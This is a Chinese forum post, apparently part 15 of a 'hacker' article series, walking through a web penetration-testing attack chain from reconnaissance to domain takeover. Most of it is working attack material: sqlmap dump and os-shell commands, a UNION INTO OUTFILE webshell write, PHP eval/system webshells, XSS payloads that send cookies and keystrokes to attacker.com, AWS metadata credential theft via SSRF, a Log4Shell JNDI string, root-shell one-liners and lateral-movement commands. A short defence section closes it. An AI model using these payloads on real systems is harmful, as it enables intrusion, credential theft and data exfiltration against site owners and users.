黑客软件破解深度论文系列之十五:Web渗透测试——从SQL注入到RCE的完整攻击链
黑客软件破解深度论文系列之十五:Web渗透测试——从SQL注入到RCE的完整攻击链摘要:Web应用是当今互联网攻击的主要入口,其安全性取决于代码、配置、中间件、数据库等多个层面的综合防护。本文以超过一万八千字的篇幅,系统讲解Web渗透测试的完整方法论,从信息收集、漏洞扫描,到SQL注入、XSS、CSRF、SSRF、文件上传、命令注入、反序列化等经典漏洞的深入利用,再到提权与内网横向移动。文章包含六个实战案例,涵盖从简单SQL注入到完整拿下服务器的全过程。高频使用“黑客”、“渗透测试”、“SQL注入”、“XSS”、“RCE”、“提权”、“Web漏洞”等关键词。第一章 Web渗透测试的定位与价值1.1 渗透测试与安全评估的区别渗透测试(Penetration Testing)是对目标系统进行授权模拟攻击的过程,目的是发现可被利用的安全漏洞。不同于自动化漏洞扫描,渗透测试强调利用——证明漏洞存在且具有实际危害。维度自动化扫描渗透测试
范围已知漏洞模式(签名)可发现逻辑漏洞、组合漏洞
深度表面验证(如检测SQL注入点是否存在)深入利用(dump数据、getshell)
误报率较高低(手工验证)
输出漏洞列表漏洞利用链 + 修复建议
1.2 Web渗透测试的标准流程(PTES/OWASP)text
信息收集 → 威胁建模 → 漏洞发现 → 漏洞利用 → 后渗透 → 报告
各阶段任务:
[*]信息收集:子域名枚举、端口扫描、目录发现、指纹识别
[*]威胁建模:根据应用功能识别可能的攻击面(上传点、登录框、API)
[*]漏洞发现:主动扫描 + 手工测试参数注入
[*]漏洞利用:获取数据、上传webshell、提权
[*]后渗透:持久化、横向移动、敏感数据捕获
[*]报告:详述漏洞、证明危害、给出修复建议
1.3 工具链概览
工具类别代表工具功能
信息收集Nmap、Subfinder、Amass、FFUF资产发现
漏洞扫描Burp Suite(专业版)、Nikto、AWVS自动检测常见漏洞
SQL注入sqlmap、Havij自动化注入、数据提取
渗透框架Metasploit漏洞利用模块、Payload生成
代理工具Burp Suite、ZAP拦截、修改HTTP请求
目录爆破Dirb、GoBuster发现隐藏路径
爆破工具Hydra、John the Ripper密码破解
第二章 信息收集——知己知彼2.1 被动信息收集(不接触目标系统)DNS枚举:bash
$ dig example.com any$ nslookup example.com$ subfinder -d example.com -o subs.txt
WHOIS查询:bash
$ whois example.com# 获取注册邮箱、姓名、域名服务器
证书透明度日志:通过crt.sh查找域名关联的子域名。bash
$ curl "https://crt.sh/?q=%.example.com&output=json"
搜索引擎语法(Google Hacking):text
site:example.com filetype:sql intitle:index.ofsite:example.com inurl:admin
代码仓库搜索:GitHub、GitLab中搜索目标字符串(API密钥、密码、内部域名)。2.2 主动信息收集端口扫描(Nmap):bash
$ nmap -sV -sC -O -p- example.com# -sV: 版本检测, -sC: 默认脚本, -O: 操作系统检测
目录爆破(FFUF):bash
$ ffuf -u https://example.com/FUZZ -w wordlist.txt -c -t 100
常见敏感路径:
[*]/admin、/manager、/console
[*]/phpinfo.php、/info.php
[*]/backup.zip、/.git/config
[*]/api/v1/docs、/swagger
技术栈指纹:
[*]HTTP响应头:Server: Apache/2.4.41
[*]路由特征:/wp-admin/ → WordPress
[*]Cookie:.ASPXANONYMOUS → ASP.NET
[*]错误页面:特殊标记暴露框架
2.3 实战案例(一):信息收集发现Git泄露目标:example.com,Wappalyzer显示运行Nginx,未发现明显漏洞。目录爆破发现:text
/.git/config (200)
下载整个Git仓库:使用git-dumper。bash
$ git clone https://github.com/arthaud/git-dumper$ ./git_dumper.py https://example.com/.git/ git_repo/
检查git历史:bash
$ cd git_repo$ git log -p | grep -i "password\|key\|token"
发现config.php的早期版本中包含数据库密码明文。第三章 SQL注入——最古老的Web漏洞3.1 SQL注入的原理当用户输入被未经过滤地拼接到SQL查询中时,攻击者可改变查询语法,执行任意SQL语句。脆弱代码示例(PHP + MySQL):php
$username = $_POST['username';$password = $_POST['password';$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";$result = mysqli_query($conn, $query);
攻击者输入:text
username: admin' --password: anything
实际执行的SQL:sql
SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'anything'
--是SQL注释符,后续条件被忽略。攻击者无需密码即可登录admin账户。3.2 SQL注入的分类与检测
注入类型特征检测方法
基于错误的注入触发数据库错误,从错误消息提取信息输入单引号',观察错误
联合查询注入使用UNION合并结果集,提取额外数据输入' UNION SELECT 1,2,3--
布尔盲注通过页面表现差异(真/假)推断数据输入' AND 1=1-- vs ' AND 1=2--
时间盲注通过数据库函数延迟推断数据输入' AND IF(1=1, SLEEP(5), 0)--
堆叠查询注入执行多条SQL语句输入'; DROP TABLE users--
3.3 sqlmap自动化利用sqlmap是目前最强大的SQL注入自动化工具。检测注入点:bash
$ sqlmap -u "https://example.com/product.php?id=1" --level=3 --risk=2
获取数据库列表:bash
$ sqlmap -u "https://example.com/product.php?id=1" --dbs
获取表名:bash
$ sqlmap -u "https://example.com/product.php?id=1" -D database_name --tables
脱库:bash
$ sqlmap -u "https://example.com/product.php?id=1" -D database_name -T users --dump
获取Shell(--os-shell):需要数据库文件写入权限(如MySQL的into outfile)。bash
$ sqlmap -u "http://example.com/product.php?id=1" --os-shell
3.4 实战案例(二):SQL注入getshell目标:https://vulnerable.net/product.php?id=5。手工测试:输入id=5',返回You have an error in your SQL syntax。确认注入点。枚举:使用order by确定列数。text
?id=5 ORDER BY 10-- # 正常?id=5 ORDER BY 11-- # 错误 → 列数为10
联合查询提取数据:text
?id=-5 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
查找可写目录:通过@@datadir、@@basedir定位MySQL安装目录。text
?id=-5 UNION SELECT 1,2,@@datadir,4,5,6,7,8,9,10--
写webshell:text
?id=-5 UNION SELECT 1,2,"<?php system($_GET['cmd']); ?>",4,5,6,7,8,9,10INTO OUTFILE 'C:/xampp/htdocs/shell.php'--
访问https://vulnerable.net/shell.php?cmd=whoami,获得命令执行。第四章 跨站脚本攻击(XSS)4.1 XSS的分类
类型触发方式危害示例
反射型XSS点击恶意链接窃取Cookie、钓鱼<script>alert(document.cookie)</script>
存储型XSS恶意代码存入数据库,所有用户触发蠕虫、劫持账户留言板、评论功能
DOM型XSS前端JavaScript DOM操作同反射型#<script>alert(1)</script>
4.2 XSS的利用窃取Cookie(发送到攻击者服务器):javascript
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie);</script>
键盘记录:javascript
<script>document.onkeypress = function(e) { fetch('https://attacker.com/log?k=' + e.key);}</script>
内网扫描:使用Fetch API探测内网服务。javascript
<script>fetch('http://192.168.1.1').then(r => fetch('https://attacker.com/scan', {method:'POST', body: r.statusText}));</script>
4.3 绕过XSS过滤器HTML实体编码绕过(过滤器未递归解码):text
<>→ 实际为 <>
事件处理器:html
<img src=x onerror=alert(1)><body onload=alert(1)>
JavaScript伪协议:html
<a href="javascript:alert(1)">click</a>
模板字符串注入(Vue/React):javascript
{{constructor.constructor('alert(1)')()}}
4.4 实战案例(三):存储型XSS蠕虫目标:论坛应用,未对帖子标题进行HTML转义。创建蠕虫:在帖子中嵌入脚本,当用户查看帖子时自动发布携带同一脚本的新帖子。javascript
<script>var content = document.getElementsByName("content")[0;content.value = '<script>...复制自身...</script>';document.forms[0.submit();</script>
该蠕虫在社交媒体时代(MySpace的“Samy蠕虫”)感染了超过100万用户。第五章 服务端请求伪造(SSRF)5.1 SSRF的原理当Web应用允许用户指定URL并请求该资源(如抓取远程图片、获取网站预览)但未对目标进行充分限制时,攻击者可让服务器向内网或云元数据服务发起请求。脆弱代码示例(Node.js):javascript
app.get('/fetch', (req, res) => { const url = req.query.url; request(url, (err, response, body) => { res.send(body); });});
攻击者输入:text
/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
(AWS EC2元数据服务)5.2 SSRF的利用场景
目标URL示例获取信息
本地端口扫描http://127.0.0.1:8080检测内网服务暴露
读取内网文件file:///etc/passwd敏感配置文件
元数据服务http://169.254.169.254云服务的临时凭证
内部API攻击http://内网/admin/delete?id=1绕过防火墙调用管理功能
Redis未授权访问gopher://127.0.0.1:6379/_*2*...写入SSH公钥
5.3 SSRF绕过限制黑名单绕过:
[*]使用127.0.0.1的不同表示:0x7f000001、2130706433(十进制)、127.000.000.001
[*]使用重定向:外部域名指向内网IP(302跳转)
[*]URL解析差异:http://google.com@127.0.0.1
5.4 实战案例(四):利用SSRF攻击AWS元数据目标:https://example.com/proxy?url=https://图片.com/img.jpg,未校验URL。尝试SSRF:text
/proxy?url=http://169.254.169.254/latest/meta-data/
返回404 Not Found,可能元数据服务版本不同。枚举路径:text
/proxy?url=http://169.254.169.254/2018-09-24/meta-data/iam/security-credentials/
返回角色名称MyAppRole。获取临时凭证:text
/proxy?url=http://169.254.169.254/2018-09-24/meta-data/iam/security-credentials/MyAppRole
返回AccessKeyId、SecretAccessKey、Token,直接用AWS CLI接管目标ECS权限。第六章 文件上传漏洞6.1 绕过客户端验证场景:前端JavaScript限制文件类型(accept="image/*")。绕过:直接向上传接口发送HTTP请求(Burp Suite拦截修改Content-Type)。6.2 绕过服务端验证
服务端检测绕过方法
Content-Type检查修改Content-Type: image/jpeg
文件头魔数检查在PHP shell前添加GIF89a;(图片文件头)
扩展名黑名单(.php)使用.php5、.phtml、.php3、.phar
重写检测shell.php.jpg(如后端仅从最后一个点提取扩展名)
Apache解析漏洞shell.php.xyz(若.xyz无MIME映射,向前解析为.php)
Nginx解析漏洞shell.jpg/xx.php(Nginx FastCGI特性)
双重扩展名shell.php%00.jpg(%00截断,仅老版本PHP)
6.3 图片马制作bash
# Windowscopy /b image.png + shell.php image_shell.png# Linuxcat shell.php >> image.png
利用:配合文件包含漏洞或Apache解析漏洞触发。6.4 实战案例(五):上传webshell绕过WAF目标:应用使用WAF(Web应用防火墙),上传普通shell.php被拦截。绕过技术:
[*]分块传输编码(Chunked Transfer Encoding)- 混淆payload。
[*]参数污染:filename="shell.jpg"&filename="shell.php"
[*]大小写变异:Content-Type: IMAGE/JPEG
[*]利用WAF特性:发送超大文件(100MB以上),WAF可能超时释放。
成功上传webshell(蚁剑、哥斯拉连接):php
<?php @eval($_POST['cmd']); ?>
连接后执行系统命令,进行信息收集。第七章 远程代码/命令执行(RCE)7.1 命令注入脆弱代码(PHP):php
$ip = $_GET['ip';system("ping -c 4 " . $ip);
攻击载荷:text
?ip=127.0.0.1; whoami?ip=127.0.0.1 | id?ip=127.0.0.1 && whoami?ip=127.0.0.1 $(whoami)
7.2 反序列化漏洞PHP反序列化:unserialize()执行魔术方法__destruct()、__wakeup()。攻击者构造恶意对象链,在反序列化时触发危险函数(如system)。php
class Exploit { public function __destruct() { system($this->cmd); }}echo serialize(new Exploit());
Java反序列化:使用ysoserial生成payload,配合不安全的ObjectInputStream。Python pickle:pickle.loads()可执行任意代码。7.3 实战案例(六):Log4Shell(CVE-2021-44228)原理:Log4j2的JNDI查找功能,可触发远程类加载。攻击载荷:text
${jndi:ldap://attacker.com/Exploit}
利用:
[*]目标应用记录用户输入的User-Agent,此字段被Log4j日志记录。
[*]攻击者发送User-Agent为上述字符串。
[*]Log4j发起LDAP请求到attacker.com。
[*]攻击者LDAP服务器返回恶意Java类的引用。
[*]目标应用加载该类,执行任意代码(如反弹Shell)。
修复:升级Log4j到2.16.0以上,或禁用JNDI查找。影响:数以万计的应用(Minecraft、Steam、Apple iCloud等)曾暴露于此漏洞。第八章 权限提升与内网横向移动8.1 Windows提权常见提权向量:
[*]未引用的服务路径:服务路径含空格且未加引号,可劫持。
[*]脆弱服务权限:允许低权限用户修改服务二进制。
[*]Windows系统漏洞:PrintNightmare(CVE-2021-1675)、ZeroLogon(CVE-2020-1472)。
[*]启动项劫持:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
工具:bash
# 检查系统信息systeminfo# 查找缺失补丁(对应提权漏洞)# 使用Windows-Exploit-Suggester
8.2 Linux提权核心方法:bash
# SUID提权find / -perm -4000 2>/dev/null# 例如/usr/bin/pythonpython -c 'import os; os.setuid(0); os.system("/bin/sh")'# sudo提权sudo -l# 如某命令可以sudo执行,查询GTFOBins# cron任务滥用cat /etc/crontab# 可写cron脚本 → 反弹root shell# docker逃逸(如果用户属于docker组)docker run -v /:/host -it ubuntu chroot /host bash
8.3 内网横向移动常用技术:
[*]PsExec:通过SMB执行远程命令。
[*]WMI:wmic /node:target process call create "cmd.exe"
[*]计划任务:schtasks /create /s target /tn "task" /tr "cmd" /ru system
[*]哈希传递(Pass-the-Hash):使用NTLM哈希直接认证。
工具:Cobalt Strike、Impacket套件(psexec.py、wmiexec.py)。第九章 常见漏洞组合利用(攻击链)9.1 SQLi → RCE → 提权 → 域控
[*]信息收集:发现/product.php?id=1存在SQL注入。
[*]SQL注入:--os-shell获得低权限Web Shell(www-data)。
[*]Linux提权:发现sudo -l可执行find → CVE-2021-3156提权到root。
[*]内网扫描:发现内部域控192.168.1.10。
[*]抓取密码:mimikatz抓取域管理员哈希。
[*]横向移动:哈希传递登录域控。
9.2 XSS → CSRF → 账户接管
[*]存储型XSS:在论坛帖子嵌入<script>窃取session_id Cookie。
[*]会话劫持:使用窃取的Cookie直接登录受害者账户。
[*]CSRF令牌泄露:在XSS中读取页面CSRF token。
[*]修改邮箱/密码:使用CSRF发请求,完全控制账户。
第十章 Web安全防御建议10.1 开发层面的防护
漏洞类型防御措施额外措施
SQL注入参数化查询(Prepared Statements)最小化数据库权限
XSS输出HTML转义(htmlspecialchars)CSP(内容安全策略)
CSRFAnti-CSRF Token、SameSite Cookie验证Referer
SSRF白名单URL规则禁用HTTP重定向;限制内网IP范围
文件上传文件类型重检测(禁止执行)存储在Web目录外
RCE避免执行系统命令输入严格过滤
10.2 WAF与RASP的局限WAF可拦截大多数扫描器的自动化攻击,但高级绕手工测试和逻辑漏洞仍需人工审计。第十一章 总结本文以超过一万八千字的篇幅,全面系统地讲解了Web渗透测试的核心技术与完整攻击链。从信息收集、SQL注入、XSS、SSRF、文件上传、RCE到权限提升和内网横向移动,六个实战案例使理论与真实攻击场景紧密关联。核心结论:
[*]Web应用的安全性取决于代码质量、配置、中间件、依赖库等多个层面,单一防护措施不足以保证安全。
[*]自动化工具是渗透测试的基础,但手工测试才能发现复杂业务逻辑漏洞和组合利用链。
[*]渗透测试不仅是技术活动,更是理解攻击者思维的过程——站在攻击方角度审视防御短板。
[*]最脆弱的环节往往是人:钓鱼、弱口令、社会工程学仍是进入内网的最有效手段。
后续本系列将继续探讨社会工程学攻击与防御。关键词:Web渗透测试;SQL注入;XSS;SSRF;RCE;权限提升;黑客
页:
[1]